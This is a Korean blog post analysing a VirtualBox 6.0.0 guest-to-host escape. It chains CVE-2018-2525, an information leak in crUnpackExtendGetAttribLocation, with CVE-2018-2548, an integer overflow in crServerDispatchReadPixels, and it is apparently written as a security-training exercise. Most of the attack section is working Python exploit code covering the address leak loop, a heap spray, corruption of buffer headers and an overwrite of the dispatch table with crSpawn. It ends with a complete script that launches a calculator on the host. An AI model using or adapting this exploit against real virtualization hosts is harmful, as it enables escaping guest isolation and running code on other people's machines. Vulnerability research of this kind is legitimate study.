Pwnstar

VirtualBox Escape(CVE-2018-2525 & CVE-2018-2548) 본문

1day Analysis

VirtualBox Escape(CVE-2018-2525 & CVE-2018-2548)

포너블처돌이 2020. 8. 27. 15:37

Host가 리눅스인 환경에서 실행되는 원데이이기 때문에 멀티부팅으로 우분투 16.04를 올려 놓은 뒤 실행하길 추천한다.

 

BoB 수업을 들을 때 가장 먼저 내주셨던 원데이 익스 과제였는데, 과제 기간 내내 환경 구축만 하다 끝났던게 너무 아쉬워서 그때 못했던 과제들을 다시 해보려고 한다.

 

개요


virtualbox 6.0.0은 3D 가속화 기능을 사용함.

이 기능은 chromium library를 기반으로 만들어 졌는데, 이 라이브러리는 OpenGL을 기반으로 3D 그래픽을 remote rendering할 수 있음.

 

virtualbox는 chromium에 새로운 프로토콜을 추가해서 client와 server간 통신을 하는데, 이 프로토콜이 VBoxHGCM이다.(Host/Guest Communication Manager)

 

이 프로토콜을 사용해서 guestOS가 HostOS에서 실행중인 server와 통신이 가능하다.

 

chromium client(GeustOS)는 opcode + data로 구성된 메세지를 server로 전송하고, server(HostOS)에서는 이 메세지를 파싱하여 framebuffer에 저장한다.

 

메세지의 구조는 이렇게 된다.

 

여기까지가 최소한의 기본지식이라고 할 수 있다.

 

이 메세지는 OPCODE의 종류에 따라 다른 함수가 실행되는데, 먼저 인포릭을 위해서 우리가 사용할 함수는 crUnpackExtendGetAttribLocation 함수이다.

 

void crUnpackExtendGetAttribLocation(void)
{
    int packet_length = READ_DATA(0, int);
    GLuint program = READ_DATA(8, GLuint);
    const char *name = DATA_POINTER(12, const char);
    SET_RETURN_PTR(packet_length-16);
    SET_WRITEBACK_PTR(packet_length-8);
    cr_unpackDispatch.GetAttribLocation(program, name);
}

 

함수는 이렇게 생겼고, 취약점이 발생하는 부분은 

 

SET_RETURN_PTR(packet_length-16);

 

이 부분이다. 

 

트리거 코드를 짜서 한번 보내 본 후 메모리 구조가 어떻게 되어 있는 지 보자.

 

import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import*

def mem_leak(offset):
    msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)     #type, conn_id, numOpcodes
            + '\x00\x00\x00' + chr(CR_EXTEND_OPCODE)            #opcode
            + pack("<I", offset)                                #packet length
            + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)    #sub opcode
            + pack("<I", 0x41424344)
          )
    return msg

if __name__ == "__main__":
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    msg = mem_leak(0x00)
    crmsg(client, msg)

 

mem_leak 함수의 offset 변수가 바로 packet_length가 되는 부분이다. 이 부분에 0x00을 넣음으로써 SET_RETURN_PTR의 인자로 음수가 넘어가게 했다.

 

이렇게 코드를 짜고 crUnpackExtendGetAttribLocation+49(SET_RETURN_PTR) 부분에 브포를 걸고 디버깅을 해 보자.

 

메모리를 보면 이렇게 되어 있다.

 

conn_id = 0x41414141

 

CR_MESSAGE_OPCODES

numOpcodes = 0x1

 

CR_EXTEND_OPCODE

247 = 0x7f

 

offset(0) 4바이트

 

CR_GETATTRIBLOCATION_EXTEND_OPCODE

 

95 = 0x5f

 

뒤에 0x41424344(data)

 

메세지로 입력한 값이 잘 들어가 있는 것을 볼 수 있음.

 

그리고 0x7fa599c35968의 주소에 texformat_l8이라는 함수(?)의 주소가 들어있는데, 이 함수를 leak함으로서 다른 필요한 함수들의 주소까지도 알아낼 수 있다.

 

처음에 offset을 0x28로 줬을 때 이 texformat_l8의 주소가 바로 출력되길래 이게 고정값인 줄 알았는데, 이 값의 위치가 계속 바뀌어서 반복문을 돌려주면서 계속 offset값을 변경시켜주어야 이 주소값을 알아낼 수 있었다. 그러면 texformat_l8의 주소 중 하위 3바이트는 고정일테니, 0x968과 동일한 값을 찾으면 반복문을 빠져나오게끔 코드를 짜 보자.

 

import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import*

def mem_leak(offset):
    msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)     #type, conn_id, numOpcodes
            + '\x00\x00\x00' + chr(CR_EXTEND_OPCODE)            #opcode
            + pack("<I", offset)                                #packet length
            + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)    #sub opcode
            + pack("<I", 0x41424344)
          )
    return msg

if __name__ == "__main__":
    client = hgcm_connect("VBoxSharedCrOpenGL")
    set_version(client) #must use
    #off = 0x18
    for off in range(0, 0xffff, 4):
        msg = mem_leak(off)
        add = crmsg(client, msg)
        text = unpack("Q", add[8:16])[0]
        text_off = text % 0x1000
        if text_off == 0x968:
            break
        else:
            continue
    text = unpack("Q", add[8:16])[0]
    print("text_format = " + hex(text))
    libc = text - 0xe9968
    print("libc address = " + hex(libc))
    cr_server = libc + 0x318700
    print("cr_server address = " + hex(cr_server))
    cr_unpack = libc + 0x3234c0
    print("cr_unpackDispatch = " + hex(cr_unpack))
    crspawn = libc - 0x21daf0
    print("crSpawn = " + hex(crspawn))

 

이렇게 하면 원하는 함수의 주소들을 모두 출력할 수 있다.

 

이제 CVE-2018-2548을 이용해서 integer overflow를 변형시켜 heap overflow를 일으키면 된다.

 

이 때 이용하는 함수는 

 

server_readpixels.c

void SERVER_DISPATCH_APIENTRY
crServerDispatchReadPixels(GLint x, GLint y, GLsizei width, GLsizei height,
                           GLenum format, GLenum type, GLvoid *pixels)
{
    const GLint stride = READ_DATA( 24, GLint );
    const GLint alignment = READ_DATA( 28, GLint );
    const GLint skipRows = READ_DATA( 32, GLint );
    const GLint skipPixels = READ_DATA( 36, GLint );
    const GLint bytes_per_row = READ_DATA( 40, GLint );
    const GLint rowLength = READ_DATA( 44, GLint );

    CRASSERT(bytes_per_row > 0);

#ifdef CR_ARB_pixel_buffer_object
    if (crStateIsBufferBound(GL_PIXEL_PACK_BUFFER_ARB))
    {
        GLvoid *pbo_offset;

        /*pixels are actually a pointer to location of 8byte network pointer in hgcm buffer
          regardless of guest/host bitness we're using only 4lower bytes as there're no
          pbo>4gb (yet?)
         */
        pbo_offset = (GLvoid*) ((uintptr_t) *((GLint*)pixels));

        cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
                                                      format, type, pbo_offset);
    }
    else
#endif
    {
        CRMessageReadPixels *rp;
        uint32_t msg_len;

        if (bytes_per_row < 0 || bytes_per_row > UINT32_MAX / 8 || height > UINT32_MAX / 8)
        {
            crError("crServerDispatchReadPixels: parameters out of range");
            return;
        }

        msg_len = sizeof(*rp) + (uint32_t)bytes_per_row * height; // <--

        rp = (CRMessageReadPixels *) crAlloc( msg_len );
        if (!rp)
        {
            crError("crServerDispatchReadPixels: out of memory");
            return;
        }

        /* Note: the ReadPixels data gets densely packed into the buffer
         * (no skip pixels, skip rows, etc.  It's up to the receiver (pack spu,
         * tilesort spu, etc) to apply the real PixelStore packing parameters.
        */
        cr_server.head_spu->dispatch_table.ReadPixels(x, y, width, height,
                                                      format, type, rp + 1);

        rp->header.type = CR_MESSAGE_READ_PIXELS;
        rp->width = width;
        rp->height = height;
        rp->bytes_per_row = bytes_per_row;
        rp->stride = stride;
        rp->format = format;
        rp->type = type;
        rp->alignment = alignment;
        rp->skipRows = skipRows;
        rp->skipPixels = skipPixels;
        rp->rowLength = rowLength;

        /* <pixels> points to the 8-byte network pointer */
        crMemcpy( &rp->pixels, pixels, sizeof(rp->pixels) );
    
        crNetSend( cr_server.curClient->conn, NULL, rp, msg_len );
        crFree( rp );
    }
}

 

중간에 주석으로 화살표가 있는 곳이 바로 취약점이 발생하는 곳이다.

 

CRMessageReadPixels 메세지의 구조체 크기는 최소 0x38이고, 이 크기보다 큰 메세지도 파싱할 수 있도록 의도한 것 같은데, bytes_per_row와 height의 값을 적절하게 주면 0x38보다 작게끔 만들어줄 수 있다.

 

여기서 만들어 줄 값은 0x20인데, 왜 하필 이 값이냐 하면,

 

우선 heap spray를 통해서 뿌려지는 메세지는 다음 함수로 뿌리게 된다.

 

chromium.py

def alloc_buf(client, sz, msg='a'):
    buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])
    return buf

def crmsg(client, msg, bufsz=0x1000):
    ''' Allocate a buffer, write a Chromium message to it, and dispatch it. '''
    assert len(msg) <= bufsz
    buf = alloc_buf(client, bufsz, msg)
    # buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, bufsz, 0, msg])
    _, res, _ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [buf, "A"*bufsz, 1337])
    return res

 

엥 근데 이 파이썬 코드는 난데없이 어디서 튀어 나왔느냐.. 하면

 

앞서 VBoxHCGM 프로토콜을 통해서 guestOS와 hostOS가 통신을 한다고 설명한 바 있다. 이 통신을 파이썬으로 쉽게 사용하게끔 구현해 놓은 스크립트가 있다.

 

git clone github.com/niklasb/3dpwn

 

niklasb/3dpwn

VirtualBox 3D exploits & PoCs. Contribute to niklasb/3dpwn development by creating an account on GitHub.

github.com

 

으로 설치할 수 있다.

 

alloc_buf 함수를 보면

 

buf,_,_,_ = hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0, sz, 0, msg])

 

이 부분에서 hgcm_call 함수의 인자로 SHCRGL_FN_WRITE_BUFFER로 주게 되면 클라이언트가 SHCRGL_GUEST_FN_WRITE_READ_BUFFERED 함수를 호출할 때까지 free되지 않은 영역을 할당해주기 때문에 heap spray가 가능하다.

 

그러면 반복문을 통해서 alloc_buf로 엄청나게 많은 양의 할당을 해주게 되면 heap spray가 될 것이다.

 

#heap spray
    abuf = []
    for i in range(0, 5000):
        buf = alloc_buf(client, 0x20, 'Z'*0x20)
        abuf.append(buf)

 

이 코드를 추가해서 heap spary를 해 줬다.

 

여기에 짝수 인덱스만 free해주는 코드를 추가해서 돌려보자

#free
    for i in range(0, 5000):
        if i % 2 == 0:
            hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [abuf[i], 'A', 0x00])
        else:
            continue

 

 

이렇게 하면 

 

 

이렇게 heap spary가 된 상태에서 

 

이렇게 된다.

 

여기서 이제 할 일은 앞서 0x20으로 사이즈를 속여놓은 read_pixel 메세지를 할당해주는 것이다.

 

그러면 free된 공간 중 한 곳에 들어가게 될 것이고, 아마 가장 먼저 free한 인덱스로 들어가게 될 것이다.

 

그러면 우리가 0x20으로 사이즈를 속여놓긴 했지만, 실제로 read_pixel 메세지의 사이즈는 0x38까지 입력을 할 수 있다. 때문에 다음에 올 메세지의 0x18만큼을 오버플로우하여 덮어줄 수 있다.

 

 

이 부분을 덮으면 어떻게 되느냐...

 

앞서 heap spray를 할 때 우리는 alloc_buf함수를 이용하여 할당을 해 줬다. 이때 할당한 공간의 구조는 CRVBOXSVCBUFFER_t인데,

 

위와 같은 구조로 생겼다.

 

0x18만큼을 덮게 되면 chunk Header와 uiID, uiSize까지 덮을 수 있게 된다. 이걸 이용해서 uiID와 uiSize를 변경해줄 것이다.

 

def read_pixel_deadbeef():
        msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
                        + '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
                        + pack("<III", 0x00, 0x00, 0x00)    #x, y, width
                        + pack("<III", 0x08, 0x35, 0x00)    #height = 0x8, format, type
                        + pack("QQ", 0x00, 0x00)            #stride, alignment, skiprows, skippixels
                        + pack("<II", 0x1ffffffd, 0x00)     #bytes_per_row = 0x1ffffffd, rowLength     
                        + pack("<I", 0xDEADBEEF)            #pixels = 0xdeadbeef, 0xffffffff         later it will become uiSize
                        + pack("<I", 0xFFFFFFFF)
                        + pack("<I", 0x00) )
        return msg

 

이렇게 메세지를 구성해서 보내게 되면 우리는 alloc_buf함수를 사용하지 않고도 0x20사이즈라고 속이고 메세지를 보낼 수 있게 된다.

 

위 함수까지 합쳐서 코드를 실행하게 되면

 

이렇게 uiID와 uiSize가 내가 원하는 값으로 바뀐 CRVBOXSVCBUFFER_t 구조체를 볼 수 있다.

 

이제 uiID와 uiSize를 내가 원하는 값으로 바꾼 이유가 나온다.

 

hgcm_call 함수를 이용하면 원하는 uiID의 구조체에 접근해서 값을 수정할 수 있는데, 이때 0xdeadbeef의 구조체에 접근하면 size는 0xffffffff로 굉장히 큰 수이기 때문에 그 다음에 오는 값들을 모조리 수정할 수 있게 된다.

 

이걸 이용해서 0xdeadbeef 구조체의 다음다음에 올 구조체의 위치에 0xdeaddead라는 uiID를 가진 새로운 구조체를 만들어 줄 것이다.

 

uiID = 0xdeaddead

uiSize = 0x11111111

 

사이즈는 그렇게 클 필요는 없다 다만 메모리를 뜯어볼 때 조금이라도 편하게 하기 위함이다.

 

#overwrite CR_BOUNDSINFOCR_OPCODE to cr_unpackdispatch + 0xd8(crSpawn)
    dispatch = (
            pack("<II", 0xdeaddead, 0x11111111)
             + pack("<Q", cr_unpack + 0xd8)
             )

    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, dispatch])

 

이렇게 짜서 실행해주면

 

내가 원하는 uiID 값을 가진 구조체가 두 개 생겼다.

 

그 전에 CRVBOXSVCBUFFER_t구조체에 대해서 조금 더 설명할 부분이 있는데, uiSize 바로 뒤에 나오는 값이 pdata이다. 이 곳에는 주소가 들어가는데, alloc_buf함수로 할당해 줄 때 data로 들어가는 값은 pdata에 있는 주소값에 들어가게 된다.

 

이게 무슨 말이냐하면, 만약 pdata를 우리가 원하는 주소로 덮을 수 있다면 이 주소에 overwrite하여 다른 함수를 호출할 수 있단 말이다.

 

여기서 최종적으로 실행할 함수는 바로 execvp함수인데,

argv = ["xcalc", NULL]

execvp("xcalc", argv)

이런 식으로 호출하게 된다.

 

그런데 이런 식으로 호출되는 함수가 바로 crUnpackBoundsInfoCR함수이고, 이게 crunpackDispatch+0xd8에 위치한 함수인데, 그래서 바로 위 코드에 0xdeaddead의 uiID를 가진 구조체에 crunpackDispatch+0xd8의 주소를 pdata에 넣어준 것이다. 그러면 이제 deaddead의 uiID에 접근해서 데이터를 쓰게 되면  crunpackDispatch+0xd8함수에 덮어쓰게 된다.

 

무슨 함수를 덮어쓰느냐하면 crSpawn함수이다. 왜냐하면 이 함수가 execvp를 호출하니까ㅎㅎ

 

hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", crspawn)])

 

그 다음엔 xcalc 문자열을 더블포인터로 넣어주기 위해 희생할 다른 함수 하나가 필요하다.

 

나는 그냥 crunpackDispatch+0x00으로 잡았다.

 

hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x98, pack("<Q", cr_unpack)])
hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", 0x00636c616378)])

 

요렇게 해서 보내주면

 

overwrite가 성공한 모습을 볼 수 있다.

 

마지막으로 crServerDispatchBoundsInfoCR함수를 호출하기 위해서 포맷에 맞춰 메세지를 보내줘야 한다.

 

//namhoon@virtualboxescape:~/VirtualBox-6.0.0/src/VBox/HostServices/SharedOpenGL/unpacker$ cat unpack_bounds.c 
/* Copyright (c) 2001, Stanford University
 * All rights reserved
 *
 * See the file LICENSE.txt for information on redistributing this software.
 */

#include "unpacker.h"
#include "state/cr_statetypes.h"

void crUnpackBoundsInfoCR( void  )
{
	CRrecti bounds;
	GLint len;
	GLuint num_opcodes;
	GLbyte *payload;
	
	len = READ_DATA( 0, GLint );          
	bounds.x1 = READ_DATA( 4, GLint );    //calc 문자열
	bounds.y1 = READ_DATA( 8, GLint );    //0
	bounds.x2 = READ_DATA( 12, GLint );   //0
	bounds.y2 = READ_DATA( 16, GLint );   //0
	num_opcodes = READ_DATA( 20, GLuint );//address
	payload = DATA_POINTER( 24, GLbyte );

	cr_unpackDispatch.BoundsInfoCR( &bounds, payload, len, num_opcodes );
	INCR_VAR_PTR();
}

 

위 포맷대로 맞춰서 메세지를 넣어주면 된다

 

import sys, os
from struct import pack, unpack
sys.path.append(os.path.abspath(os.path.dirname(__file__)) + '/lib')
from chromium import*

def mem_leak(offset):
    msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x41414141, 1)     #type, conn_id, numOpcodes
            + '\x00\x00\x00' + chr(CR_EXTEND_OPCODE)            #opcode
            + pack("<I", offset)                                #packet length
            + pack("<I", CR_GETATTRIBLOCATION_EXTEND_OPCODE)    #sub opcode
            + pack("<I", 0x41424344)
          )
    return msg

def read_pixel_deadbeef():
    msg = ( pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + '\x00\x00\x00' + chr(CR_READPIXELS_OPCODE)
            + pack("<III", 0x00, 0x00, 0x00)    #x, y, width
            + pack("<III", 0x08, 0x35, 0x00)    #height = 0x8, format, type
            + pack("QQ", 0x00, 0x00)            #stride, alignment, skiprows, skippixels
            + pack("<II", 0x1ffffffd, 0x00)     #bytes_per_row = 0x1ffffffd, rowLength     
            + pack("<I", 0xDEADBEEF)            #pixels = 0xdeadbeef, 0xffffffff         later it will become uiSize
            + pack("<I", 0xFFFFFFFF)            
            + pack("<I", 0x00) )
    return msg

def bound_info(calc, dispatch):
    msg = (
            pack("<III", CR_MESSAGE_OPCODES, 0x00, 1)
            + '\x00\x00\x00' + chr(CR_BOUNDSINFOCR_OPCODE)
            + pack("<I", 0x00)
            + pack("<Q", calc)
            + pack("<III", 0x00, 0x00, 0x00)
            + pack("<Q", dispatch)
            + pack("<I", 0x00)
          )
    return msg

if __name__ == "__main__":
    client = hgcm_connect("VBoxSharedCrOpenGL")
     set_version(client) #must use
    #off = 0x18

    #b*crUnpackExtendGetAttribLocation+49
    for off in range(0, 0xffff, 4):
        msg = mem_leak(off)
        add = crmsg(client, msg)
        text = unpack("Q", add[8:16])[0]
        text_off = text % 0x1000
        if text_off == 0x968:
            break
        else:
            continue

    text = unpack("Q", add[8:16])[0]
    print("text_format = " + hex(text))
    libc = text - 0xe9968
    print("libc address = " + hex(libc))
    cr_server = libc + 0x318700
    print("cr_server address = " + hex(cr_server))
    cr_unpack = libc + 0x3234c0
    print("cr_unpackDispatch = " + hex(cr_unpack))
    crspawn = libc - 0x21daf0
    print("crSpawn = " + hex(crspawn)) 

    #b*crServerDispatchReadPixels
    #heap spray
    abuf = []
    for i in range(0, 5000):
        buf = alloc_buf(client, 0x20, 'Z'*0x20)
        abuf.append(buf)


    #free
    for i in range(0, 1000):
        if i % 2 == 0:
            hgcm_call(client, SHCRGL_GUEST_FN_WRITE_READ_BUFFERED, [abuf[i], 'A', 0x00])
        else:
            continue
    #deadbeef
    msg = read_pixel_deadbeef()
    crmsg(client, msg)

    #overwrite CR_BOUNDSINFOCR_OPCODE to cr_unpackdispatch + 0xd8(crSpawn)
    dispatch = (
            pack("<II", 0xdeaddead, 0x11111111)
            + pack("<Q", cr_unpack + 0xd8)
            )

    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x90, dispatch])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", crspawn)])

    #overwrite
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeadbeef, 0xffffffff, 0x98, pack("<Q", cr_unpack)])
    hgcm_call(client, SHCRGL_GUEST_FN_WRITE_BUFFER, [0xdeaddead, 0x11111111, 0x00, pack("<Q", 0x00636c616378)])

    crmsg(client, bound_info(0x00636c616378, cr_unpack))

 

 

요렇게 전체 익스코드가 완성되었다. 실행해주면

 

 

이렇게 gustOS에서 HostOS로 계산기를 띄울 수 있다.

 

 


소감 : 처음 해 본 원데이 분석이었는데 환경 구축에서 상당히 오래 걸리긴 했지만 되게 재밌게 했고, 그래도 많이 뿌듯하다. 분석 과정에서 내가 잘못 이해했거나, 빼 먹은 부분이 있다면 추후 계속 수정, 추가할 계획이다.

 

 


참고 자료:

https://wogh8732.tistory.com/274?category=804777

 

Virtualbox Esacpe(2)

목차 1. CVE-2018-2525 ⇒ information leak 2. CVE-2018-2548 ⇒ integer overflow 3. heap spray 4. 참고문헌 1편에서 설명을 다했기 때문에 바로 분석으로 넘어가겠다. 1. CVE-2018-2525 ⇒ information leak..

wogh8732.tistory.com

https://rond-o.tistory.com/42

 

[1-day Analysis] VirtualBox Escape with CVE-2018-2525 & CVE-2018-2548

VM ESCAPE 목차 개요 분석 환경 구축 (노션) 분석 PoC 참고 (노션) 개요 CVE-2018-2525와 CVE-2018-2048을 분석하고 exploit 해본다. 비오비 8기 취약점분석트랙 공통교육 과정에서 신정훈 멘토님이 강의하고 과

rond-o.tistory.com

 

멘토님 강의 자료

 

Comments